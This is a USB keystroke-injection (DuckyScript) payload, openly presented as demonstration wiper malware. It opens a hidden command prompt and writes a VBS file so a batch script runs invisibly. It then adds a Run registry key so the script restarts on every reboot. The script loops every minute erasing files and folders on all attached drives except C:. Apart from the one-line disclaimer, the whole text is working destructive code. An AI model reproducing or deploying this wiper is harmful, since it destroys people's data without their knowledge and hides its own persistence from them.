Created by overwraith, use at your own risk. This script will erase attached drives on your computer. Made in to demonstrate batch wiper malware. Features a registry key that will restart the script on reboot, aswell as a vb script that will allow the batch file to run silently on vista and Windows 7 machines. 
```
REM By overwraith
REM EraseFlashDrives.txt
REM PURPOSE: to delete the contents of attached drives. 
GUI r
STRING cmd /Q /D /T:7F /F:OFF /V:OFF /K
DELAY 500
ENTER
DELAY 750
ALT SPACE
STRING M
DOWNARROW
REPEAT 100
ENTER
REM THE DIRECTORY YOU WANT TO HIDE THE SCRIPT IN
STRING cd %TEMP%
ENTER
REM MAKE THE VBS FILE THAT ALLOWS RUNNING INVISIBLY.
REM Delete vbs file if already exists
STRING erase /Q invis.vbs
ENTER
REM FROM: http://stackoverflow.com/questions/289498/running-batch-file-in-background-when-windows-boots-up
STRING copy con invis.vbs
ENTER
STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
ENTER
CONTROL z
ENTER
REM Delete batch file if already exists
STRING erase /Q SecurityBullseye.bat
ENTER
REM Make the batch file
REM SLIGHT THROWBACK TO VIDEO GAME BIOSHOCK I/II
STRING copy con SecurityBullseye.bat
ENTER
REM REGISTRY KEY RESTARTS THE SCRIPT ON REBOOT
STRING REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Persistence /t REG_SZ /d "wscript.exe %TEMP%\invis.vbs %TEMP%\SecurityBullseye.bat" /f
ENTER
STRING :while1
ENTER
REM C:\ IS USUALLY THE DRIVE THE OS IS INSTALLED ON, SO OMIT. 
STRING for %%a in (A B D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
ENTER
STRING IF EXIST %%a:\ erase /Q /S /F "%%a:\*.*"
ENTER
STRING IF EXIST %%a:\ rmdir /Q /S "%%a:\*"
ENTER
STRING )
ENTER
STRING timeout /t 60
ENTER
STRING goto :while1
ENTER
CONTROL z
ENTER
REM RUN THE BATCH FILE
STRING wscript.exe invis.vbs SecurityBullseye.bat
ENTER
STRING EXIT
ENTER
```